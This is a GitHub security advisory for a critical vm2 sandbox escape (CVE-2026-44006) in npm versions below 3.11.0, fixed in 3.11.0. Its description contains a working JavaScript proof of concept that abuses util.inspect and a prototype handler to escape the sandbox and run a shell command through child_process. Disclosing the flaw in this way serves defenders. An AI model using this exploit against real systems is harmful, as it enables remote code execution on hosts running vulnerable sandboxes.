GitHub Advisoryadvisory · npm

GHSA-qcp4-v2jj-fjx8 vm2 has a Sandbox Escape Vulnerability

CRITICAL Published 2026-05-07 Modified 2026-05-14 Official page ↗
Aliases
CVE-2026-44006
Ecosystem
npm
Packages
vm2
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weaknesses
CWE-94
Reviewed
2026-05-07

Affected packages

• npm vm2: < 3.11.0 → fixed in 3.11.0

Description

Summary It is possible to reach `BaseHandler.getPrototypeOf`, which can be used to get arbitrary prototypes Details https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L655-L658 `BaseHandler` can be reached via `util.inspect` (same as https://github.com/patriksimek/vm2/commit/57971fa423abeb66f09e47e18102986549474ca8) PoC ```js let obj = { subarray: Buffer.prototype.inspect, slice: Buffer.prototype.slice, hexSlice: () => '', }; let sym; obj.slice(10, { showHidden: true, showProxy: true, depth: 10, stylize(a) { const handler = this.seen && this.seen[1]; if (handler && handler.getPrototypeOf) { gP = handler.getPrototypeOf; HObjectProto = gP(gP(gP(gP(Buffer)))); HObject = HObjectProto.constructor; sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0); } return a; }, }); obj = { [sym]: (depth, opt, inspect) => { inspect.constructor('return process')() .getBuiltinModule('child_process') .execSync('id', { stdio: 'inherit' }); }, valueOf: undefined, constructor: undefined, }; WebAssembly.compileStreaming(obj).catch(() => {}); ``` Impact Sandbox Escape -> RCE

Related

Alias · CVE (1)

  • CVE-2026-44006 vm2 is an open source vm/sandbox for Node.js. vulnerability

Weakness · CWE (1)

  • CWE-94 Improper Control of Generation of Code weakness

References